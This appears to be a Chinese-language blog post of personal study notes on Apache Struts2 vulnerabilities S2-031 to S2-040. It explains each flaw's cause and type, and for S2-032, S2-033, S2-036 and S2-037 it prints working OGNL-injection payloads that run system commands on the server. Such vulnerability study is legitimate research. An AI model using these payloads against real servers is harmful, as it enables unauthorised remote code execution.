Struts2-全漏洞研究(四)


本文是在自己入门漏洞研究的同时编写这些笔记。
个人整理,如有错误,请联系更改。 – taamr
微步社区的文章也是我发的,并不是我抄的,看id就能知道了。
并且只提供POC,不提供EXP,谢谢


S2-031

漏洞原理:
XSLTResult处允许将样式表的位置作为请求参数传递。在某些情况下,这可用于注入远程可执行代码。(官方文档,互联网上未找到其他复现或者相关文章)

漏洞类型:
远程命令执行漏洞。可利用性:6分。

漏洞手测:
无。


S2-032

漏洞原理:
struts.xml中配置action且启用动态方法调用时,可能会传递恶意表达式,该表达式可用于在服务器端执行任意代码。实际上,这个 DMI 的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。所以只要找到目标应用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可。调试分析过程:DefaultActionMapper.java中的DefaultActionMapper方法将method的值存入到ActionMapping的method属性中->DefaultActionProxyFactory.java中的DefaultActionProxy方法将ActionMapping的method值经过escapeEcmaScript,escapeHtml4过滤后传到了ActionProxy的method属性中->最后DefaultActionInvocation.java中的invokeAction将ActionProxy的method值放入到了ognlUtil.getValue()方法中取值同时执行表达式->导致命令执行。
整个参数的传递过程中有这样一个函数escapeHtml4的函数会对传输的参数进行处理,查看文档可以知道这个函数的作用是对特殊的符号进行过滤,转换成html编码格式。但实际上还能成功RCE,在此猜测应该是#$等符号是ognl里面的一些符号,所以escapeHtml4这个函数并不会对这些符号进行编码转换。

简单来说,action启用动态方法调用时,struts2对method传递的参数过滤不完整,导致在getValue时执行恶意表达式。

漏洞类型:
远程命令执行漏洞。过滤不完整。可利用性:7分。

漏洞手测:
POC:

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

S2-033

漏洞原理:
官方漏洞描述,当开启动态方法调用,并且同时使用了Strut2 REST插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行。
S2-033漏洞和S2-032类似,也是由于开启了动态方法调用,action mapper中的执行的方法名可控,导致了ognl表达式注入。Rest插件中获取action mapper用的RestActionMapper.getMapping()逻辑和DefaultActionMapper中的差不多,也是用handleDynamicMethodInvocation方法来判断是否开启了动态方法调用然后截取!后面的字符串作为action method name,放入到ognlUtil.getValue()方法中取值同时执行表达式。只不过因为时REST插件格式的请求,所以POC得做出相应的改变。REST在正式解析url前会先对url的后缀做校验,只对“json”、“xml”、“xhtml”和空做处理。而原先S2-032的POC中的request.toString会被识别为toString后缀不做处理。

简单来说,启用动态方法且使用了REST插件时使用!后加参数可执行OGNL表达式。

漏洞类型:
远程命令执行漏洞。未过滤。可利用性:6分。

漏洞手测:
POC:

3!%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ipconfig

S2-034

漏洞原理:
OGNL缓存中毒可能导致DoS漏洞。Apache Struts框架使用的OGNL表达式语言具有用于存储方法引用的缓存的适当实现。有可能准备DoS攻击来阻止对网站的访问。

漏洞类型:
拒绝服务攻击。

漏洞手测:
无。


S2-035

漏洞原理:
用于清除action名称的方法可以基于精心编制的输入生成易受攻击的payload,攻击者可以使用该输入执行未指定的攻击。

漏洞类型:
?。可利用性:3分。

漏洞手测:
无。


S2-036

漏洞原理:
S2-029的修复方案不完全在正确导致的S2-036,原理一致。

漏洞类型:
远程命令执行漏洞。逻辑错误。可利用性:6分。(非通用)

漏洞手测:
提交参数POC:

2.2.1只需要下面几个:
#_memberAccess['allowPrivateAccess']=true
#_memberAccess['allowProtectedAccess']=true
#_memberAccess['allowPackageProtectedAccess']=true
#_memberAccess['allowStaticMethodAccess']=true
2.3.24.12.5beta3则需要:
#_memberAccess['allowPrivateAccess']=true
#_memberAccess['allowProtectedAccess']=true
#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties']
#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties']
#_memberAccess['allowPackageProtectedAccess']=true
#_memberAccess['allowStaticMethodAccess']=true
2.3.252.3.26 则需要
#_memberAccess['excludedPackageNames']=#_memberAccess['acceptProperties']
#_memberAccess['allowPrivateAccess']=tru
#_memberAccess['allowProtectedAccess']=true
#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties']
#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties']
#_memberAccess['allowPackageProtectedAccess']=true
#_memberAccess['allowStaticMethodAccess']=true
			
这些开启配置的OGNL后面加命令执行语句:@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

S2-037

漏洞原理:
S2-037的漏洞利用思路建立在s2-033的基础只上,还是对method没有进行过滤导致的,漏洞影响Struts 2.3.20 – Struts 2.3.28.1版本,使用到REST插件的Struts2应用,会被攻击者实现远程代码执行攻击,struts2 历次的漏洞公告和详情官方都有专门的页面进行整理和汇总,可以从这个页面找到历次的struts2的漏洞。此次的s2-037是基于033的一个绕过,在033中,需要开启动态方法执行,也就是032的条件,同时还需要安装rest插件。而037中,不需要开启动态方法执行就能触发代码执行漏洞。在REST插件RestActionMapper中处理handleDynamicMethodInvocation(mapping, mapping.getName());后进行了mapping.setMethod赋值,并且中间未对是否开启动态代码执行进行判断。赋值后继续走S2-032的步骤导致了RCE。

S2-037

简单来说,对S2-033的一个绕过,且跟S2-033比不需要开启动态执行即可RCE。

漏洞类型:
远程命令执行漏洞。过滤不完整,逻辑错误。可利用性:7分。

漏洞手测:
POC需要用三目运算符进行绕过。

(%23_memberAccess%3d@ognl.ognlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getwriter(),%23rs%3d@org.apache.commons.io.IOUtils@tostring(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=whoami

S2-038

漏洞原理:
有可能传递恶意表达式,该表达式可用于绕过令牌验证并执行CSRF攻击。

漏洞类型:
跨站请求伪造漏洞。可利用性:5分。

漏洞手测:
无。


S2-039

漏洞原理:
Getter作为action方法导致安全绕过。可以传递精心编制的请求,该请求可用于绕过内部安全机制并操纵返回字符串,从而将用户重定向到未验证的位置。

漏洞类型:
?。可利用性:?。

漏洞手测:
无。


S2-040

漏洞原理:
使用现有默认action方法输入验证旁路,可以绕过内部安全机制并操纵返回字符串,从而将用户重定向到未验证的位置。

漏洞类型:
?。可利用性:?。

漏洞手测:
无。


文章作者: meta-taamr
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 meta-taamr !